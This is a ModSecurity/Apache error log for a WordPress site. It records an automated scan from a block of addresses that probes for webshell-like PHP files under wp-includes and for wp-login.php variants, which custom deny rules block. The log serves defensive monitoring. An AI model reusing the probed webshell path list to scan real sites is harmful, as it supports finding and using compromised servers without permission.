[Thu Apr 23 07:14:22.286565 2026] [:error] [pid 42972:tid 43028] [client 89.251.0.141:56913] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aelWTsOAb-3sOknsk4cCMQAAAEw"]
[Thu Apr 23 07:14:23.144895 2026] [:error] [pid 25635:tid 25654] [client 89.251.0.125:22727] [client 89.251.0.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aelWT8Rxv6UsgRGKB3LHMAAAAQ8"]
[Thu Apr 23 07:14:25.508628 2026] [:error] [pid 25635:tid 25640] [client 89.251.0.119:35981] [client 89.251.0.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aelWUcRxv6UsgRGKB3LHTgAAAQE"]
[Thu Apr 23 07:14:27.201024 2026] [:error] [pid 42972:tid 43036] [client 89.251.0.132:55501] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aelWU8OAb-3sOknsk4cCjQAAAFQ"]
[Thu Apr 23 07:14:27.817057 2026] [:error] [pid 42971:tid 43008] [client 89.251.0.136:34195] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aelWUzEP2_5RswrH8bGKPQAAABY"]
[Thu Apr 23 07:14:31.766534 2026] [:error] [pid 42972:tid 43016] [client 89.251.0.126:42111] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aelWV8OAb-3sOknsk4cC-wAAAEA"]
[Thu Apr 23 07:14:33.462694 2026] [:error] [pid 42973:tid 43066] [client 89.251.0.134:30189] [client 89.251.0.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.134, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aelWWW6I0QqmmmLTHE2_6AAAAJc"]
[Thu Apr 23 07:14:37.449852 2026] [:error] [pid 42973:tid 43046] [client 89.251.0.134:30189] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aelWXW6I0QqmmmLTHE3AJgAAAIM"]
[Thu Apr 23 07:14:38.808484 2026] [:error] [pid 42971:tid 42986] [client 89.251.0.150:31711] [client 89.251.0.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.150, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aelWXjEP2_5RswrH8bGK1QAAAAA"]
[Thu Apr 23 07:14:39.402584 2026] [:error] [pid 42971:tid 43001] [client 89.251.0.150:31711] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aelWXzEP2_5RswrH8bGK4wAAAA8"]
[Thu Apr 23 07:14:42.738544 2026] [:error] [pid 42973:tid 43052] [client 89.251.0.151:57971] [client 89.251.0.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aelWYm6I0QqmmmLTHE3AYAAAAIk"]
[Thu Apr 23 07:14:48.331959 2026] [:error] [pid 42972:tid 43038] [client 89.251.0.117:32321] [client 89.251.0.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aelWaMOAb-3sOknsk4cD_wAAAFY"]
[Thu Apr 23 07:14:49.732650 2026] [:error] [pid 64967:tid 64969] [client 89.251.0.120:23827] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aelWaYAV4GfOOdX8Qzr2zQAAAYA"]
[Thu Apr 23 07:14:52.170726 2026] [:error] [pid 59700:tid 59708] [client 89.251.0.131:23045] [client 89.251.0.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.131, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aelWbJXyGZJFeAIDWtk8XQAAAUY"]
[Thu Apr 23 07:14:52.516448 2026] [:error] [pid 59700:tid 59718] [client 89.251.0.131:23045] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aelWbJXyGZJFeAIDWtk8YgAAAVA"]
[Thu Apr 23 07:14:59.879573 2026] [:error] [pid 64998:tid 65005] [client 89.251.0.134:32765] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aelWc4V5EysYcTLjmwjVBQAAAcM"]
[Thu Apr 23 07:15:02.104599 2026] [:error] [pid 43083:tid 43087] [client 89.251.0.135:61551] [client 89.251.0.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.135, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aelWdjC5hrvNXosL83KrXgAAAMI"]
[Thu Apr 23 07:15:03.498708 2026] [:error] [pid 43083:tid 43090] [client 89.251.0.135:61551] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aelWdzC5hrvNXosL83KragAAAMU"]
[Thu Apr 23 07:15:05.699250 2026] [:error] [pid 59700:tid 59715] [client 89.251.0.120:48831] [client 89.251.0.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aelWeZXyGZJFeAIDWtk9EQAAAU0"]
[Thu Apr 23 07:15:07.756255 2026] [:error] [pid 42972:tid 43016] [client 89.251.0.116:30535] [client 89.251.0.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aelWe8OAb-3sOknsk4cE8QAAAEA"]
[Thu Apr 23 07:15:09.470428 2026] [:error] [pid 42971:tid 43002] [client 89.251.0.150:31587] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aelWfTEP2_5RswrH8bGMFQAAABA"]
[Thu Apr 23 07:15:10.677168 2026] [:error] [pid 59700:tid 59726] [client 89.251.0.140:45041] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aelWfpXyGZJFeAIDWtk9YwAAAVg"]
[Thu Apr 23 07:15:14.877508 2026] [:error] [pid 65000:tid 65044] [client 89.251.0.143:57449] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aelWgr6vRb9j6psK2ZZjswAAAgs"]
[Thu Apr 23 07:15:15.873188 2026] [:error] [pid 64967:tid 64993] [client 89.251.0.135:43531] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aelWg4AV4GfOOdX8Qzr3nwAAAZg"]
[Thu Apr 23 07:15:18.169726 2026] [:error] [pid 43083:tid 43102] [client 89.251.0.141:50301] [client 89.251.0.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aelWhjC5hrvNXosL83KsMwAAANE"]
[Thu Apr 23 07:15:20.152803 2026] [:error] [pid 64998:tid 65010] [client 89.251.0.150:45909] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aelWiIV5EysYcTLjmwjVwgAAAcg"]
[Thu Apr 23 07:15:22.840171 2026] [:error] [pid 59700:tid 59713] [client 89.251.0.140:50305] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "aelWipXyGZJFeAIDWtk94gAAAUs"]
[Thu Apr 23 07:15:24.650007 2026] [:error] [pid 65000:tid 65029] [client 89.251.0.139:63641] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aelWjL6vRb9j6psK2ZZkPgAAAgA"]
[Thu Apr 23 07:15:28.058183 2026] [:error] [pid 43083:tid 43094] [client 89.251.0.142:45717] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aelWkDC5hrvNXosL83KsrQAAAMk"]
[Thu Apr 23 07:15:28.930544 2026] [:error] [pid 64967:tid 64975] [client 89.251.0.138:49531] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aelWkIAV4GfOOdX8Qzr4DgAAAYY"]
[Thu Apr 23 07:15:29.538908 2026] [:error] [pid 42972:tid 43025] [client 89.251.0.127:63083] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aelWkcOAb-3sOknsk4cFtgAAAEk"]
[Thu Apr 23 07:15:30.230700 2026] [:error] [pid 64998:tid 65012] [client 89.251.0.144:28073] [client 89.251.0.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aelWkoV5EysYcTLjmwjWFQAAAco"]
[Thu Apr 23 07:15:31.257069 2026] [:error] [pid 64967:tid 64978] [client 89.251.0.132:26769] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aelWk4AV4GfOOdX8Qzr4IAAAAYk"]
[Thu Apr 23 07:15:31.924261 2026] [:error] [pid 42971:tid 42994] [client 89.251.0.123:31753] [client 89.251.0.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aelWkzEP2_5RswrH8bGM3wAAAAg"]
[Thu Apr 23 07:15:33.282677 2026] [:error] [pid 42971:tid 42998] [client 89.251.0.147:59127] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aelWlTEP2_5RswrH8bGNCAAAAAw"]
[Thu Apr 23 07:15:33.952309 2026] [:error] [pid 64998:tid 65016] [client 89.251.0.142:35285] [client 89.251.0.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aelWlYV5EysYcTLjmwjWOwAAAc4"]
[Thu Apr 23 07:15:34.636282 2026] [:error] [pid 42973:tid 43066] [client 89.251.0.145:38193] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aelWlm6I0QqmmmLTHE3BxQAAAJc"]
[Thu Apr 23 07:15:35.273624 2026] [:error] [pid 25635:tid 25646] [client 89.251.0.147:44123] [client 89.251.0.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aelWl8Rxv6UsgRGKB3LJrAAAAQc"]
[Thu Apr 23 07:15:36.486831 2026] [:error] [pid 25635:tid 25657] [client 89.251.0.134:47393] [client 89.251.0.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aelWmMRxv6UsgRGKB3LJtAAAARI"]
[Thu Apr 23 07:15:37.852620 2026] [:error] [pid 59700:tid 59703] [client 89.251.0.121:24277] [client 89.251.0.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aelWmZXyGZJFeAIDWtk-jgAAAUE"]
[Thu Apr 23 07:15:40.232169 2026] [:error] [pid 65000:tid 65044] [client 89.251.0.124:50281] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aelWnL6vRb9j6psK2ZZlKgAAAgs"]
[Thu Apr 23 07:15:43.251106 2026] [:error] [pid 59700:tid 59712] [client 89.251.0.143:27433] [client 89.251.0.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aelWn5XyGZJFeAIDWtk-5QAAAUo"]
[Thu Apr 23 07:15:44.857172 2026] [:error] [pid 42972:tid 43033] [client 89.251.0.129:33169] [client 89.251.0.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aelWoMOAb-3sOknsk4cGPwAAAFE"]
[Thu Apr 23 07:15:49.891951 2026] [:error] [pid 42972:tid 43022] [client 89.251.0.124:51417] [client 89.251.0.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aelWpcOAb-3sOknsk4cGdQAAAEY"]
[Thu Apr 23 07:15:52.170627 2026] [:error] [pid 64998:tid 65021] [client 89.251.0.113:32879] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aelWqIV5EysYcTLjmwjXDQAAAdM"]
[Thu Apr 23 07:15:53.932336 2026] [proxy_fcgi:error] [pid 59700:tid 59712] [client 89.251.0.138:31961] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:15:54.356222 2026] [proxy_fcgi:error] [pid 59700:tid 59725] [client 89.251.0.138:31961] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:15:54.756337 2026] [proxy_fcgi:error] [pid 59700:tid 59718] [client 89.251.0.138:31961] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:15:56.551153 2026] [:error] [pid 59700:tid 59706] [client 89.251.0.138:31961] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aelWrJXyGZJFeAIDWtk_dgAAAUQ"]
[Thu Apr 23 07:15:57.330778 2026] [:error] [pid 59700:tid 59707] [client 89.251.0.127:59561] [client 89.251.0.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aelWrZXyGZJFeAIDWtk_hAAAAUU"]
[Thu Apr 23 07:15:58.219797 2026] [:error] [pid 43083:tid 43085] [client 89.251.0.113:45015] [client 89.251.0.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aelWrjC5hrvNXosL83KuHQAAAMA"]
[Thu Apr 23 07:15:58.875530 2026] [:error] [pid 43083:tid 43089] [client 89.251.0.137:48251] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aelWrjC5hrvNXosL83KuLgAAAMQ"]
[Thu Apr 23 07:15:59.621382 2026] [:error] [pid 59700:tid 59726] [client 89.251.0.139:27895] [client 89.251.0.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aelWr5XyGZJFeAIDWtk_oQAAAVg"]
[Thu Apr 23 07:16:00.407754 2026] [:error] [pid 59700:tid 59710] [client 89.251.0.137:59687] [client 89.251.0.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aelWsJXyGZJFeAIDWtk_pAAAAUg"]
